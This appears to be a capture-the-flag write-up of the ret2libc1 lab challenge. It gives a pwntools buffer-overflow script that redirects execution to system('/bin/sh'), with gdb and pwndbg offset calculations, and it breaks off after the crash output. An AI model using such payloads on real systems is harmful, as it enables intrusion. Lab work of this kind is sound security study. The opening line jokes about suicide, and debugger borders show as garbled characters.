PWN BasicROP - Ret2Libc
After some painful reflections, failing to solve a few problems in a row, and receiving some guidance from zbr, I decided to commit suicide.
Enough.
ret2libc1โ
Check the protections, no Canary and no PIE, 32-bit ELF.
In the string list, you can see both system
and /bin/sh
.
Simply construct a function to overwrite the return address.
from pwn import *
context.log_level='DEBUG'
context.arch='amd64'
context.os='linux'
sh = process("./ret2libc1")
elf = ELF("./ret2libc1")
system_addr = 0x8048460 # plt
# system_addr = elf.plt["system"] # it works as well
binsh_addr = 0x08048720
sh.recvuntil(b"RET2LIBC >_<\n")
payload = b'A'*(0x6c+0x04) + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
Some key points:
-
The address of
system
should be taken from the PLT table, not the one seen in the string. Refer to PLT / GOT - Dynamic Linking. -
In this challenge, in IDA you can see
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
, which indicates that the distance from ebp is0x64 bytes
, but in reality it is0x6c bytes
.-
Here's the solution provided by Mark:
-
How to calculate the offset? Here are two methods using gdb and pwndbg:
-
gdb
- Find the address of
call _gets
, you can see thats
is right above it.
-
Set a breakpoint at
0x0804867B
gdb ./ret2libc
b *0x0804867E
rBreakpoint 2, 0x0804867e in main () at ret2libc1.c:27
27 in ret2libc1.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ REGISTERS ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
EAX 0xffffcf3c โโ 0x0
EBX 0x0
ECX 0xffffffff
EDX 0xffffffff
EDI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) โโ 0x1ead6c
ESI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) โโ 0x1ead6c
EBP 0xffffcfa8 โโ 0x0
ESP 0xffffcf20 โโธ 0xffffcf3c โโ 0x0
*EIP 0x804867e (main+102) โโธ 0xfffdade8 โโ 0xfffdade8
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ DISASM ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
0x804867b <main+99> mov dword ptr [esp], eax
โบ 0x804867e <main+102> call gets@plt <gets@plt>
arg[0]: 0xffffcf3c โโ 0x0
arg[1]: 0x0
arg[2]: 0x1
arg[3]: 0x0
0x8048683 <main+107> mov eax, 0
0x8048688 <main+112> leave
0x8048689 <main+113> ret
0x804868a nop
0x804868c nop
0x804868e nop
0x8048690 <__libc_csu_init> push ebp
0x8048691 <__libc_csu_init+1> push edi
0x8048692 <__libc_csu_init+2> xor edi, edi
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ STACK ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
00:0000โ esp 0xffffcf20 โโธ 0xffffcf3c โโ 0x0
01:0004โ 0xffffcf24 โโ 0x0
02:0008โ 0xffffcf28 โโ 0x1
03:000cโ 0xffffcf2c โโ 0x0
... โ 2 skipped
06:0018โ 0xffffcf38 โโธ 0xf7ffd000 โโ 0x2bf24
07:001cโ eax 0xffffcf3c โโ 0x0
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ BACKTRACE ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โบ f 0 0x804867e main+102
f 1 0xf7de7ee5 __libc_start_main+245
f 2 0x80484f1 _start+33
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโFrom the
[REGISTERS]
section, we can see that the address ofs
is0xffffcf3c
, and the offset from ESP address0xffffcf20
is0x1c
, which is consistent with what we saw in IDA. Additionally, note the EBP address0xffffcfa8
, and by simple addition and subtraction, we can calculate the offset between EBP and ESP as0x88
, which means the offset between EBP ands
is0x6c
, contradicting what we see in IDA that it is[ebp-64h]
.
- Find the address of
-
pwndbg
I am currently not familiar with this method. I will check the pwndbg documents later.
-
First, generate some junk characters
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab -
Run the program again and input the generated junk characters
pwndbg> r
Starting program: /home/nova/Desktop/CTF/ctf-wiki/ret2libc/ret2libc1
RET2LIBC >_<
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
-
-
-